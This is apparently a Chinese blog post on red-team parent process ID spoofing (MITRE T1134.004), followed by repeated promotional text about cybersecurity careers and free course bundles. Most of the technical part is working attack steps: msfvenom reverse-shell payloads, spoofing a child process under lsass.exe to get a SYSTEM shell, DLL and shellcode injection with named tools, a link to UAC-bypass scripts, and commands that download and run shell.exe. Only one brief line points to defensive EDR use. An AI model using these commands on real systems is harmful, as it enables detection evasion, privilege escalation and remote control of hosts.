红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)

本文介绍了父进程欺骗这一访问令牌操作技术,可帮助攻击者规避防御。详细阐述了使用C++、Powershell、C#等进行PID欺骗的方法,还提及相关工具。同时指出应使用最新EDR解决方案。此外,介绍了网络安全行业特点,并分享了学习路线图、视频教程等学习资源。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

概述

父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。

该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。

MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)

MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用

子技术:T1134.004 :访问令牌操作: 父 PID 欺骗

背景:

子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.execmd.exe进程是从 Adobe Reader
MS Excel等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。

PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe这样的合法进程在进行活动。它通过欺骗进程的
PID以匹配其父进程的 PID来做到这一点。这种方法可能带来的另一个好处是,如果父进程以
SYSTEM权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM权限。

进程、PID和PPID

进程:
Windows中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID

PID: 代表进程标识符 (PID),它是正在运行的进程的数字表示。 Windows中通过
GetCurrentProcessID()函数返回指定进程的 PID

父进程: 父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。

PPID: 代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。

方法一(使用C++程序进行PID欺骗)

Didier Stevens最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我删除了Debug and
Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行。

在进程管理器中,你会看到 explorer.exePID 1624上运行

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)1563.png

因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程。

E:\>SelectMyParent.exe notepad 1624

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)1691.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)1694.png

可以看到在PID 2836启动了notepad.exe

同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shellexe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

在受感染端,使用tasklist /v查看进程运行详情。

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)1893.png

在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。

然后运行生成的shell.exe,并附属在explorer.exePID

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)1980.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)1983.png

监听端收到的shell便是explorer.exe进程用户的权限

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)2051.png

如果利用具有system权限的进程,即可进行提权。

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)2048.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)2051.png

方法二(使用Powershell DLL注入进行PID欺骗)

F-Secure实验室利用
powershell创建了替代上述Didier二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载<https://github.com/countercept/ppid-
spoofing>,首先在受害者机器上查看进程ID,这里我们选择 PowershellPID 24092作为父进程ID

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)2359.png

利用msfvenmon生成要注入的DLL

msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting RAW payload  
Payload size: 460 bytes  
Final size of dll file: 8704 bytes

然后进行注入:

Import-Module .\PPID-Spoof.ps1  
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)2869.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)2872.png

可以看到注入的DLLNotepad.exe中加载执行了。

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)2905.png

通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe

方法三(使用Powershell 脚本入进行PID欺骗)

Decoder-it根据 Didier Stevens提供的指南开发了一个 powershell脚本,使用了
CreateProcessFromParent()方法,可以在此处找到的psgetsystem脚本:<https://github.com/decoder-
it/psgetsystem.git>,可用于通过PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)3271.png

然后执行如下命令:

powershell -ep bypass  
Import-Module .\psgetsys.ps1  
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)3395.png

如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。

绕过UAC脚本可以在这里找到:https://github.com/samratashok/nishang/tree/master/Escalation

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)3594.png

然后下载所需的文件,然后执行命令

$client=new-object System.Net.WebClient   
$client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")  
$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")  
Import-Module .\psgetsys.ps1  
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)3871.png

可以看到在lsass.exe下成功创建了子进程,因为lsass.exesystem权限,所以反弹shell也获取到了system权限。

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)3943.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)3946.png

方法四(使用C#程序进行PID欺骗)

py7hagoras开发了GetSystem项目,是上述技术的C#实现,可以在这里找到:https://github.com/py7hagoras/GetSystem.git

在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名

GetSystem.exe shell.exe -O lsass

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)4206.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)4209.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)4212.png

注意:这里可能也需要绕过UAC或者提权,不然执行不成功。

方法五(通过PID欺骗注入Shellcode)

Chirag Savla使用 C#开发了一个名为“ProcessInjection”的出色工具,它可以执行许多功能,包括通过
PID欺骗进行的进程注入。通过提供有效的 PID,该工具会尝试使用 CreateProcess等原生 API调用来欺骗
PID,然后将代码注入其中。该工具支持 hexCbase64格式的shellcode,也可以选择 DLL
注入。工具在这里下载:https://github.com/3xpl01tc0d3r/ProcessInjection

首先,使用msfvenom创建一个shellcode代码

msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt

然后在目标机中下载

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)4729.png

使用ProcessInjection.exe进行注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1

参数说明:

/ppath:目标 EXE 的进程路径(需要注入进程的路径)

/path:shellcode文件路径

/parentproc:父进程名称,目标EXE应在此进程下生成

/f:shellcode文件类型

/t:注入技术

支持的五种注入方式:

1) Vanilla Process Injection  
> 2) DLL Injection  
> 3) Process Hollowing  
> 4) APC Queue  
> 5) Dynamic Invoke - Vanilla Process Injection

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)5118.png

我们可以看到calc.exeexplorer.exe下,而shellcode则在calc.exe中执行。

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)5175.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)5178.png

也可以进行DLL注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)5295.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)5298.png

红队技术-父进程欺骗( MITRE
ATT&CK框架:T1134)5301.png

其他工具

https://github.com/Mr-Un1k0d3r/RemoteProcessInjection

https://github.com/xpn/getsystem-offline

https://github.com/hlldz/APC-PPID

https://github.com/ewilded/PPID_spoof

https://github.com/christophetd/spoofing-office-macro(VBA实现)

在Metasploit中Meterpreter
可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。

总结

攻击者广泛使用该技术进行检测规避,并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案,可以使用此技术轻松规避检测。通过本文,告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。

github.com/christophetd/spoofing-office-macro>(VBA实现)

在Metasploit中Meterpreter
可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。

总结

攻击者广泛使用该技术进行检测规避,并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案,可以使用此技术轻松规避检测。通过本文,告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值